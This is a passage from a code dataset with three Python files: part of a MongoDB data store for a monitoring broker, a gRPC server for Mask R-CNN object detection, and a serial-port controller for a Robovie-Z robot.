unfit_node_list: list\n) -> dict:\n    unfit_nodes_blob = Blob()\n    unfit_nodes_blob.id = get_new_64bit_ticket()\n    unfit_nodes_blob.owner = owner\n    unfit_nodes_blob.repo = repo\n    status_blob_data = {\n        'type': 'unfit_nodes',\n        'name': 'sms_check_task_unfit_nodes',\n        'content': {\n            'name': message_data['request']['task']['name'],\n            'trigger': message_data['request']['task']['trigger'],\n            'unfit_node_list': unfit_node_list,\n            'update_time': datetime.datetime.utcnow(),\n        }\n    }\n    unfit_nodes_blob.set_data(status_blob_data)\n    blobs_collection = nwpc_monitor_platform_mongodb.blobs\n    blobs_collection.insert_one(unfit_nodes_blob.to_dict())\n\n    tree_object = Tree()\n    tree_object.id = get_new_64bit_ticket()\n    tree_object.owner = owner\n    tree_object.repo = repo\n    tree_object_data = {\n        'nodes': [\n            {\n                'type': 'unfit_tasks',\n                'name': 'sms_check_task_unfit_nodes',\n                'blob_id': unfit_nodes_blob.id\n            }\n        ]\n    }\n    tree_object.set_data(tree_object_data)\n    trees_collection = nwpc_monitor_platform_mongodb.trees\n    trees_collection.insert_one(tree_object.to_dict())\n\n    commit_object = Commit()\n    commit_object.id = get_new_64bit_ticket()\n    commit_object.owner = owner\n    commit_object.repo = repo\n    commit_object_data = {\n        'committer': 'broker',\n        'type': 'task_check',\n        'tree_id': tree_object.id,\n        'committed_time': datetime.datetime.utcnow()\n    }\n    commit_object.set_data(commit_object_data)\n    commits_collection = nwpc_monitor_platform_mongodb.commits\n    commits_collection.insert_one(commit_object.to_dict())\n\n    return {\n        'blobs': [\n            unfit_nodes_blob.to_dict()\n        ],\n        'trees': [\n            tree_object.to_dict()\n        ],\n        'commits': [\n            commit_object.to_dict()\n        ]\n    }\n\n\ndef save_loadleveler_status_to_nwpc_takler_object_system(\n        owner: str, repo: str,\n        plugin_result: dict\n) -> dict:\n    abnormal_jobs_blob = Blob()\n    abnormal_jobs_blob.id = get_new_64bit_ticket()\n    abnormal_jobs_blob.owner = owner\n    abnormal_jobs_blob.repo = repo\n    status_blob_data = {\n        'type': 'hpc_loadleveler_status',\n        'name': 'abnormal_jobs',\n        'content': {\n            'plugin_name': plugin_result['name'],\n            'abnormal_job_list': plugin_result['data']['target_job_items'],\n            'update_time': datetime.datetime.utcnow(),\n        }\n    }\n    abnormal_jobs_blob.set_data(status_blob_data)\n    blobs_collection = nwpc_monitor_platform_mongodb.blobs\n    blobs_collection.insert_one(abnormal_jobs_blob.to_dict())\n\n    tree_object = Tree()\n    tree_object.id = get_new_64bit_ticket()\n    tree_object.owner = owner\n    tree_object.repo = repo\n    tree_object_data = {\n        'nodes': [\n            {\n                'type': 'hpc_loadleveler_status',\n                'name': 'abnormal_jobs',\n                'blob_id': abnormal_jobs_blob.id\n            }\n        ]\n    }\n    tree_object.set_data(tree_object_data)\n    trees_collection = nwpc_monitor_platform_mongodb.trees\n    trees_collection.insert_one(tree_object.to_dict())\n\n    commit_object = Commit()\n    commit_object.id = get_new_64bit_ticket()\n    commit_object.owner = owner\n    commit_object.repo = repo\n    commit_object_data = {\n        'committer': 'broker',\n        'type': 'hpc_loadleveler_status',\n        'tree_id': tree_object.id,\n        'committed_time': datetime.datetime.utcnow()\n    }\n    commit_object.set_data(commit_object_data)\n    commits_collection = nwpc_monitor_platform_mongodb.commits\n    commits_collection.insert_one(commit_object.to_dict())\n\n    return {\n        'blobs': [\n            abnormal_jobs_blob.to_dict()\n        ],\n        'trees': [\n            tree_object.to_dict()\n        ],\n        'commits': [\n            commit_object.to_dict()\n        ]\n    }\n","sub_path":"nwpc_monitor_broker/api_v2/data_store.py","file_name":"data_store.py","file_ext":"py","file_size_in_byte":9677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"7217980","text":"from concurrent import futures\nimport time\nimport grpc\nimport detection_pb2\nimport detection_pb2_grpc\nimport sys\nimport subprocess\n\nfrom detection import MaskRCNNDetection\n\n_ONE_DAY_IN_SECONDS = 60 * 60 * 24\n\nmodel = MaskRCNNDetection('/app/mask_rcnn_coco.h5')\n\nclass Detection(detection_pb2_grpc.DetectionServicer):\n\n    def Detect(self, request, context):\n        return model.detect_request(request)\n\n\ndef serve():\n    server = grpc.server(futures.ThreadPoolExecutor(max_workers=1))\n    detection_pb2_grpc.add_DetectionServicer_to_server(Detection(), server)\n    server.add_insecure_port('[::]:50054')\n    server.start()\n    \n    try:\n        callback_command = sys.argv[1]\n        subprocess.call(callback_command, shell=True)\n    except:\n        pass\n    \n\n    try:\n        while True:\n            time.sleep(_ONE_DAY_IN_SECONDS)\n    except KeyboardInterrupt:\n        server.stop(0)\n\n\nif __name__ == '__main__':\n    serve()\n","sub_path":"external/mask-rcnn-detection/detection_server.py","file_name":"detection_server.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"161780419","text":"# -*- coding:utf-8 -*-\nimport time\nimport serial\n\nclass Communication(object):\n    def __init__(self):\n        self.con = serial.Serial('/dev/ttyAMA0', 115200)\n        time.sleep(0.012)\n        print(\"serial connection\")\n    \n    def close(self):\n        \"\"\"\n        シリアル通信終了\n        \"\"\"\n        self.con.close()\n        print(\"serial close\")\n\n    def vsrc_send_1byte(self, addr, data):\n        \"\"\"\n        指定アドレスに1バイト書き込むコマンドを送信する\n        \n        Parameters\n        ----------\n        addr : string\n            書き込み対象のアドレス\n        data : uint8\n            書き込むデータ\n        \"\"\"\n        data_str = format(data, '02x')\n        str_send = 'w ' + addr + ' ' + data_str + '\\r'\n        self.con.write(str_send.encode())\n        print(str_send)\n        time.sleep(0.012)\n        str_read = self.con.read(self.con.inWaiting())\n        \n    def vsrc_send_2byte(self, addr, data):\n        \"\"\"\n        指定アドレスに2バイト書き込むコマンドを送信する\n        \n        Parameters\n        ----------\n        addr : string\n            書き込み対象のアドレス\n        data : uint16\n            書き込むデータ\n        \"\"\"\n        if 0 <= data:\n            data_str = format(data, '04x')\n        else:\n            data_str = format(data & 0xffff, '04x')\n        str_send = 'w ' + addr + ' ' + data_str[2:4] + ' ' + data_str[0:2] + '\\r\\n'\n        self.con.write(str_send.encode())\n        print(str_send)\n        time.sleep(0.012)\n        str_read = self.con.read(self.con.inWaiting())\n\n    def vsrc_read_1byte(self, addr):\n        \"\"\"\n        指定アドレスから1バイト読み込むコマンドを送信し、返答を取得する\n        \n        Parameters\n        ----------\n        addr : string\n            読込対象のアドレス\n\n        Returns\n        -------\n        ret : string\n            読み込み結果\n        \"\"\"\n        str_send = 'r ' + addr + ' 1\\r'\n        self.con.write(str_send.encode())\n        time.sleep(0.012)\n        str_read = self.con.read(self.con.inWaiting()).decode()\n        start_pos = str_read.find('#0000'+addr)+10\n        return str_read[start_pos]+str_read[start_pos+1]\n\n    def vsrc_read_2byte(self, addr):\n        \"\"\"\n        指定アドレスから2バイト読み込むコマンドを送信し、返答を取得する\n        \n        Parameters\n        ----------\n        addr : string\n            読込対象のアドレス\n\n        Returns\n        -------\n        ret : string\n            読み込み結果\n        \"\"\"\n        str_send = 'r ' + addr + ' 2\\r'\n        self.con.write(str_send.encode())\n        time.sleep(0.012)\n        str_read = self.con.read(self.con.inWaiting()).decode()\n        start_pos = str_read.find('#0000'+addr)+10\n        return str_read[start_pos+3]+str_read[start_pos+4]+str_read[start_pos]+str_read[start_pos+1]\n","sub_path":"robovie_z_ctrl/com.py","file_name":"com.py","file_ext":"py","file_size_in_byte":2927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}